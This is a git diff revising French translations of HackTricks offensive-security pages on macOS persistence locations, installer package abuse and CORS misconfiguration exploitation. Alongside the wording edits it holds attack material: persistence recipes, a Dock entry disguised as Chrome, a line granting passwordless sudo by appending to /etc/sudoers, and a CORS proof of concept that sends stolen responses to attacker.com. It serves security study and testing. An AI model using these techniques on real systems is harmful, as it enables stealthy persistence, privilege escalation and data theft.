Nécessite les droits d'administrateur +* **Déclencheur**: Accès au dossier spécifié * **`~/Library/Scripts/Folder Action Scripts`** -* **Déclencheur** : Accès au dossier spécifié +* **Déclencheur**: Accès au dossier spécifié #### Description & Exploitation -Les Actions de Dossier sont des scripts déclenchés automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface utilisateur Finder ou des commandes terminal. +Les Actions de Dossier sont des scripts déclenchés automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface Finder ou des commandes terminal. -Pour configurer des Actions de Dossier, vous avez des options comme : +Pour configurer des Actions de Dossier, vous avez des options comme: 1. Créer un flux de travail d'Action de Dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service. 2. Attacher un script manuellement via la Configuration des Actions de Dossier dans le menu contextuel d'un dossier. 3. Utiliser OSAScript pour envoyer des messages d'événements Apple à l'application `System Events.app` pour configurer de manière programmatique une Action de Dossier. * Cette méthode est particulièrement utile pour intégrer l'action dans le système, offrant un niveau de persistance. -Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier : +Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier: ```applescript // source.js var app = Application.currentApplication(); @@ -782,7 +780,7 @@ Pour rendre le script ci-dessus utilisable par les actions de dossier, compilez- ```bash osacompile -l JavaScript -o folder.scpt source.js ``` -Après la compilation du script, configurez les Actions de dossier en exécutant le script ci-dessous. Ce script activera les Actions de dossier de manière globale et attachera spécifiquement le script précédemment compilé au dossier Bureau. +Après la compilation du script, configurez les Actions de dossier en exécutant le script ci-dessous. Ce script activera les Actions de dossier de manière globale et attachera spécifiquement le script compilé précédemment au dossier Bureau. ```javascript // Enabling and attaching Folder Action var se = Application("System Events"); @@ -872,7 +870,7 @@ killall Dock ``` {% endcode %} -En utilisant un peu d'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script : +En utilisant de l'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script : ```bash #!/bin/sh @@ -929,24 +927,24 @@ killall Dock Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) -* Utile pour contourner le bac à sable: [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle) * Une action très spécifique doit se produire * Vous vous retrouverez dans un autre bac à sable -* Contournement de TCC: [🔴](https://emojipedia.org/large-red-circle) +* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle) #### Emplacement * `/Library/ColorPickers` -* Nécessite des privilèges d'administrateur +* Nécessite des droits d'administrateur * Déclencheur : Utilisation du sélecteur de couleurs * `~/Library/ColorPickers` * Déclencheur : Utilisation du sélecteur de couleurs #### Description & Exploitation -**Compilez un bundle de sélecteur de couleurs** avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) puis copiez le bundle dans `~/Library/ColorPickers`. +**Compilez un bundle** de sélecteur de couleurs avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) et copiez le bundle dans `~/Library/ColorPickers`. -Ensuite, lorsque le sélecteur de couleurs est déclenché, votre code devrait également être exécuté. +Ensuite, lorsque le sélecteur de couleurs est déclenché, votre code devrait également l'être. Notez que le binaire chargeant votre bibliothèque a un **bac à sable très restrictif** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` @@ -975,7 +973,7 @@ Notez que le binaire chargeant votre bibliothèque a un **bac à sable très res #### Description & Exploit -Un exemple d'application avec une extension de synchronisation Finder [**peut être trouvé ici**](https://github.com/D00MFist/InSync). +Un exemple d'application avec une extension Finder Sync [**peut être trouvé ici**](https://github.com/D00MFist/InSync). Les applications peuvent avoir des `Extensions de synchronisation Finder`. Cette extension ira à l'intérieur d'une application qui sera exécutée. De plus, pour que l'extension puisse exécuter son code, elle **doit être signée** avec un certificat de développeur Apple valide, elle doit être **sous bac à sable** (bien que des exceptions assouplies puissent être ajoutées) et elle doit être enregistrée avec quelque chose comme : ```bash @@ -994,21 +992,21 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p #### Emplacement * `/System/Library/Screen Savers` -* Nécessite des droits d'administrateur +* Nécessite les droits d'administrateur * **Déclencheur** : Sélectionnez l'économiseur d'écran * `/Library/Screen Savers` -* Nécessite des droits d'administrateur +* Nécessite les droits d'administrateur * **Déclencheur** : Sélectionnez l'économiseur d'écran * `~/Library/Screen Savers` * **Déclencheur** : Sélectionnez l'économiseur d'écran -
+
#### Description & Exploit Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel **économiseur d'écran**. Ensuite, ajoutez-y votre code, par exemple le code suivant pour générer des journaux. -**Compilez** et copiez le bundle `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux : +**Compilez** et copiez le paquet `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux : {% code overflow="wrap" %} ```bash @@ -1106,10 +1104,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit. * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. * `/Library/Spotlight/` * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. -* Nécessite les droits d'administrateur +* Nécessite des privilèges d'administrateur * `/System/Library/Spotlight/` * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. -* Nécessite les droits d'administrateur +* Nécessite des privilèges d'administrateur * `Some.app/Contents/Library/Spotlight/` * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. * Nouvelle application requise @@ -1121,7 +1119,7 @@ Pour faciliter cette capacité de recherche rapide, Spotlight maintient une **ba Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie **'serveur de métadonnées'**. Ce processus orchestre l'ensemble du service Spotlight. En complément, il existe plusieurs démons 'mdworker' qui effectuent diverses tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins importateurs Spotlight, ou **bundles ".mdimporter"**, qui permettent à Spotlight de comprendre et d'indexer le contenu de divers formats de fichiers. -Les plugins ou **bundles `.mdimporter`** sont situés aux endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en quelques minutes (pas besoin de redémarrer un service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gérer**, de cette manière, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé. +Les plugins ou **bundles `.mdimporter`** sont situés aux endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en quelques minutes (pas besoin de redémarrer de service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gérer**, de cette manière, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé. Il est possible de **trouver tous les `mdimporters`** chargés en exécutant: ```bash @@ -1132,7 +1130,7 @@ Paths: id(501) ( "/System/Library/Spotlight/PDF.mdimporter", [...] ``` -Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres) : +Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist @@ -1174,10 +1172,9 @@ Si vous vérifiez le Plist d'autres `mdimporter`, vous pourriez ne pas trouver l De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas indexés par les propres `mdimporters` d'Apple. {% endhint %} -Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour qu'il prenne en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**.\ -Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé. +Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour prendre en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**. Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé. -Enfin, **compilez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`** +Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`** ### ~~Panneau de préférences~~ @@ -1226,7 +1223,7 @@ Explication : [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevi #### Description & Exploitation -Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **daemons de lancement** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges. +Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **launch daemons** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges. {% code overflow="wrap" %} ```bash @@ -1352,7 +1349,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` -Enfin, ajoutez la **règle** pour charger ce plugin : +Enfin, ajoutez la **règle** pour charger ce Plugin : ```bash cat > /tmp/rule.plist < @@ -1509,19 +1506,25 @@ Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont corre ### Emplacements de démarrage automatique de macOS -#### Emplacements de démarrage automatique de macOS +#### Emplacements de démarrage automatique utilisateur -macOS offre plusieurs emplacements où les applications peuvent être configurées pour démarrer automatiquement lorsqu'un utilisateur ouvre une session. Ces emplacements comprennent: +Les emplacements de démarrage automatique utilisateur sont les suivants : -- **Dossiers de démarrage**: Les applications placées dans ces dossiers démarreront automatiquement lorsqu'un utilisateur ouvrira une session. - -- **Launch Agents et Launch Daemons**: Ces fichiers de configuration permettent de définir des tâches à exécuter au démarrage du système ou lorsqu'un utilisateur ouvre une session. +- **Dossier de connexion (`~/Library/LaunchAgents/`)** : Les agents de lancement spécifiques à un utilisateur sont stockés dans ce dossier. Ces agents sont lancés au démarrage de la session de l'utilisateur. -- **Scripts de connexion**: Ces scripts peuvent être utilisés pour exécuter des commandes ou des programmes spécifiques lorsqu'un utilisateur ouvre une session. +- **Dossier de lancement (`/Library/LaunchAgents/`)** : Les agents de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur. -En comprenant ces emplacements et en surveillant les applications qui y sont configurées, vous pouvez renforcer la sécurité de votre système en empêchant les applications non autorisées de démarrer automatiquement. +- **Dossier de lancement de démon (`/Library/LaunchDaemons/`)** : Les démons de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système. -{% endtab %} +#### Emplacements de démarrage automatique système + +Les emplacements de démarrage automatique système sont les suivants : + +- **Dossier de lancement (`/System/Library/LaunchAgents/`)** : Les agents de lancement système sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur. + +- **Dossier de lancement de démon (`/System/Library/LaunchDaemons/`)** : Les démons de lancement système sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système. + +Il est important de surveiller et de gérer les programmes et services qui se lancent automatiquement au démarrage de macOS pour des raisons de sécurité et de performances. ```bash #!/bin/sh . /etc/rc.common @@ -1546,14 +1549,14 @@ RunService "$1" ### ~~emond~~ {% hint style="danger" %} -Je ne trouve pas ce composant dans mon macOS, pour plus d'informations consultez le writeup +Je ne peux pas trouver ce composant dans mon macOS, pour plus d'informations consultez le writeup {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -Introduit par Apple, **emond** est un mécanisme de journalisation qui semble être sous-développé ou peut-être abandonné, mais reste accessible. Bien que peu bénéfique pour un administrateur Mac, ce service obscur pourrait servir de méthode de persistance subtile pour les acteurs de menace, probablement inaperçue par la plupart des administrateurs macOS. +Introduit par Apple, **emond** est un mécanisme de journalisation qui semble être sous-développé ou peut-être abandonné, mais reste accessible. Bien que pas particulièrement bénéfique pour un administrateur Mac, ce service obscur pourrait servir de méthode de persistance subtile pour les acteurs de menace, probablement inaperçue par la plupart des administrateurs macOS. -Pour ceux qui connaissent son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du système pour ce service recherche des scripts à exécuter dans un seul répertoire. Pour inspecter cela, la commande suivante peut être utilisée: +Pour ceux qui sont conscients de son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du système pour ce service recherche des scripts à exécuter dans un seul répertoire. Pour inspecter cela, la commande suivante peut être utilisée: ```bash ls -l /private/var/db/emondClients ``` @@ -1574,7 +1577,7 @@ XQuartz n'est **plus installé dans macOS**, donc pour plus d'informations, cons ### ~~kext~~ {% hint style="danger" %} -Il est tellement compliqué d'installer un kext même en tant qu'administrateur que je ne considérerai pas cela comme une échappatoire aux sandbox ou même pour la persistance (à moins que vous ayez une faille) +Il est tellement compliqué d'installer un kext même en tant qu'administrateur que je ne considérerai pas cela comme une échappatoire des sandbox ou même pour la persistance (à moins que vous ayez une faille) {% endhint %} #### Emplacement @@ -1582,7 +1585,7 @@ Il est tellement compliqué d'installer un kext même en tant qu'administrateur Pour installer un KEXT en tant qu'élément de démarrage, il doit être **installé dans l'un des emplacements suivants**: * `/System/Library/Extensions` -* Fichiers KEXT intégrés au système d'exploitation OS X. +* Fichiers KEXT intégrés dans le système d'exploitation OS X. * `/Library/Extensions` * Fichiers KEXT installés par des logiciels tiers @@ -1631,7 +1634,7 @@ Apparemment, il n'est pas très courant d'exécuter ce script et je ne l'ai mêm **Cela ne fonctionne pas dans les versions récentes de MacOS** {% endhint %} -Il est également possible de placer ici des **commandes qui seront exécutées au démarrage.** Exemple de script rc.common régulier: +Il est également possible de placer ici **des commandes qui seront exécutées au démarrage.** Exemple de script rc.common régulier: ```bash # # Common setup for startup scripts. @@ -1731,7 +1734,7 @@ esac
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! Autres façons de soutenir HackTricks: @@ -1739,6 +1742,6 @@ Autres façons de soutenir HackTricks: * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 4b1137da1..ea748f487 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -2,15 +2,15 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -24,11 +24,11 @@ Le fichier du package est en fait une archive qui contient une **hiérarchie de
https://www.youtube.com/watch?v=iASSG0_zobQ
-* **Distribution (xml)** : Personnalisations (titre, texte de bienvenue...) et vérifications de script/installation -* **PackageInfo (xml)** : Informations, exigences d'installation, emplacement d'installation, chemins vers les scripts à exécuter -* **Liste des matériaux (bom)** : Liste des fichiers à installer, mettre à jour ou supprimer avec les autorisations de fichier -* **Charge utile (archive CPIO compressée gzip)** : Fichiers à installer dans l'emplacement d'installation à partir de PackageInfo -* **Scripts (archive CPIO compressée gzip)** : Scripts d'installation pré et post et autres ressources extraites vers un répertoire temporaire pour l'exécution. +- **Distribution (xml)** : Personnalisations (titre, texte de bienvenue...) et scripts/vérifications d'installation +- **PackageInfo (xml)** : Infos, exigences d'installation, emplacement d'installation, chemins vers les scripts à exécuter +- **Liste des éléments (bom)** : Liste des fichiers à installer, mettre à jour ou supprimer avec les autorisations de fichier +- **Charge utile (archive CPIO compressée gzip)** : Fichiers à installer dans l'emplacement d'installation à partir de PackageInfo +- **Scripts (archive CPIO compressée gzip)** : Scripts d'installation pré et post et autres ressources extraites vers un répertoire temporaire pour l'exécution. ### Décompression ```bash @@ -44,6 +44,8 @@ xar -xf "/path/to/package.pkg" cat Scripts | gzip -dc | cpio -i cpio -i < Scripts ``` +Pour visualiser le contenu de l'installateur sans le décompresser manuellement, vous pouvez également utiliser l'outil gratuit [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/). + ## Informations de base sur les fichiers DMG Les fichiers DMG, ou images disque Apple, sont un format de fichier utilisé par macOS d'Apple pour les images disque. Un fichier DMG est essentiellement une **image disque montable** (il contient son propre système de fichiers) qui contient des données de bloc brut généralement compressées et parfois chiffrées. Lorsque vous ouvrez un fichier DMG, macOS le **monte comme s'il s'agissait d'un disque physique**, vous permettant d'accéder à son contenu. @@ -54,21 +56,21 @@ Les fichiers DMG, ou images disque Apple, sont un format de fichier utilisé par La hiérarchie d'un fichier DMG peut être différente en fonction du contenu. Cependant, pour les DMG d'applications, elle suit généralement cette structure : -- Niveau supérieur : C'est la racine de l'image disque. Il contient souvent l'application et éventuellement un lien vers le dossier Applications. -- Application (.app) : Il s'agit de l'application réelle. Dans macOS, une application est généralement un package qui contient de nombreux fichiers et dossiers individuels constituant l'application. -- Lien vers Applications : Il s'agit d'un raccourci vers le dossier Applications dans macOS. Le but est de faciliter l'installation de l'application. Vous pouvez faire glisser le fichier .app vers ce raccourci pour installer l'application. +* Niveau supérieur : C'est la racine de l'image disque. Il contient souvent l'application et éventuellement un lien vers le dossier Applications. +* Application (.app) : Il s'agit de l'application réelle. Dans macOS, une application est généralement un package qui contient de nombreux fichiers et dossiers individuels qui composent l'application. +* Lien d'applications : Il s'agit d'un raccourci vers le dossier Applications dans macOS. Le but de ceci est de faciliter l'installation de l'application. Vous pouvez faire glisser le fichier .app vers ce raccourci pour installer l'application. ## Privilège élevé via l'abus de pkg ### Exécution à partir de répertoires publics -Si un script d'installation préalable ou postérieur exécute par exemple à partir de **`/var/tmp/Installerutil`**, et qu'un attaquant peut contrôler ce script, il peut escalader les privilèges chaque fois qu'il est exécuté. Ou un autre exemple similaire : +Si un script d'installation préalable ou postérieur exécute par exemple à partir de **`/var/tmp/Installerutil`**, et qu'un attaquant pouvait contrôler ce script, il pourrait escalader les privilèges chaque fois qu'il est exécuté. Ou un autre exemple similaire :
https://www.youtube.com/watch?v=iASSG0_zobQ
### AuthorizationExecuteWithPrivileges -Il s'agit d'une [fonction publique](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que plusieurs installateurs et mises à jour appelleront pour **exécuter quelque chose en tant que root**. Cette fonction accepte le **chemin** du **fichier** à **exécuter** en tant que paramètre, cependant, si un attaquant peut **modifier** ce fichier, il pourra **abuser** de son exécution avec les privilèges root pour **escalader les privilèges**. +Il s'agit d'une [fonction publique](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que plusieurs installateurs et mises à jour appelleront pour **exécuter quelque chose en tant que root**. Cette fonction accepte le **chemin** du **fichier** à **exécuter** en tant que paramètre, cependant, si un attaquant pouvait **modifier** ce fichier, il pourrait **abuser** de son exécution avec les privilèges root pour **escalader les privilèges**. ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges @@ -76,39 +78,39 @@ Il s'agit d'une [fonction publique](https://developer.apple.com/documentation/se ``` Pour plus d'informations, consultez cette présentation : [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw) -### Exécution par montage +### Exécution en montant Si un installateur écrit dans `/tmp/fixedname/bla/bla`, il est possible de **créer un montage** sur `/tmp/fixedname` sans propriétaires afin de **modifier n'importe quel fichier pendant l'installation** pour abuser du processus d'installation. -Un exemple de ceci est **CVE-2021-26089** qui a réussi à **écraser un script périodique** pour obtenir une exécution en tant que root. Pour plus d'informations, consultez la présentation : [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) +Un exemple de ceci est **CVE-2021-26089** qui a réussi à **écraser un script périodique** pour obtenir une exécution en tant que root. Pour plus d'informations, consultez la présentation : [**OBTS v4.0: "Mont(agne) de Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) -## pkg en tant que logiciel malveillant +## pkg comme logiciel malveillant ### Charge utile vide Il est possible de simplement générer un fichier **`.pkg`** avec des **scripts pre et post-installation** sans aucune charge utile. -### JS dans le fichier Distribution xml +### JS dans le xml de distribution -Il est possible d'ajouter des balises **` ``` -### Exploiter l'origine `null` +### Exploitation de l'origine `null` L'origine `null`, spécifiée pour des situations telles que les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à leur liste blanche pour faciliter le développement local, permettant involontairement à n'importe quel site web de simuler une origine `null` via un iframe sandboxé, contournant ainsi les restrictions CORS. ```html @@ -186,23 +182,23 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText); }; "> ``` -### Techniques de Contournement des Expressions Régulières +### Techniques de contournement des expressions régulières -Lorsqu'on rencontre une liste blanche de domaine, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaine. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement. +Lorsqu'on rencontre une liste blanche de domaines, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaines. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement. -### Contournements Avancés des Expressions Régulières +### Contournements avancés des expressions régulières Les modèles Regex se concentrent généralement sur les caractères alphanumériques, le point (.), et le tiret (-), en négligeant d'autres possibilités. Par exemple, un nom de domaine conçu pour inclure des caractères interprétés différemment par les navigateurs et les modèles Regex peut contourner les vérifications de sécurité. La manière dont Safari, Chrome et Firefox gèrent les caractères de soulignement dans les sous-domaines illustre comment de telles divergences peuvent être exploitées pour contourner la logique de validation de domaine. **Pour plus d'informations et de paramètres sur ce contrôle de contournement :** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **et** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) -![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>) +![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>) ### Depuis XSS à l'intérieur d'un sous-domaine Les développeurs mettent souvent en place des mécanismes de défense pour se protéger contre l'exploitation de CORS en autorisant les domaines à demander des informations. Malgré ces précautions, la sécurité du système n'est pas infaillible. La présence d'un seul sous-domaine vulnérable parmi les domaines autorisés peut ouvrir la porte à l'exploitation de CORS à travers d'autres vulnérabilités, telles que XSS (Cross-Site Scripting). -Pour illustrer, considérez le scénario où un domaine, `requester.com`, est autorisé à accéder aux ressources d'un autre domaine, `provider.com`. La configuration côté serveur pourrait ressembler à ceci : +Pour illustrer, considérons le scénario où un domaine, `requester.com`, est autorisé à accéder aux ressources d'un autre domaine, `provider.com`. La configuration côté serveur pourrait ressembler à ceci : ```javascript if ($_SERVER['HTTP_HOST'] == '*.requester.com') { // Access data @@ -212,40 +208,38 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') { ``` Dans cette configuration, tous les sous-domaines de `requester.com` sont autorisés à accéder. Cependant, si un sous-domaine, par exemple `sub.requester.com`, est compromis avec une vulnérabilité XSS, un attaquant peut exploiter cette faille. Par exemple, un attaquant ayant accès à `sub.requester.com` pourrait exploiter la vulnérabilité XSS pour contourner les politiques CORS et accéder de manière malveillante aux ressources sur `provider.com`. - ### **Empoisonnement du cache côté serveur** -**[À partir de cette recherche](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** +[**À partir de cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -Il est possible qu'en exploitant l'empoisonnement du cache côté serveur via l'injection d'en-têtes HTTP, une vulnérabilité XSS stockée puisse être induite. Ce scénario se déroule lorsque qu'une application ne nettoie pas l'en-tête `Origin` des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et Edge. Ces navigateurs considèrent `\r` (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-têtes HTTP. +Il est possible qu'en exploitant l'empoisonnement du cache côté serveur via l'injection d'en-têtes HTTP, une vulnérabilité de script intersite stocké (XSS) puisse être induite. Ce scénario se déroule lorsque qu'une application ne nettoie pas l'en-tête `Origin` des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et Edge. Ces navigateurs considèrent (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-têtes HTTP. Considérez la requête suivante où l'en-tête `Origin` est manipulé: -```text +``` GET / HTTP/1.1 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 ``` Internet Explorer et Edge interprètent la réponse comme suit : -```text +``` HTTP/1.1 200 OK Access-Control-Allow-Origin: z 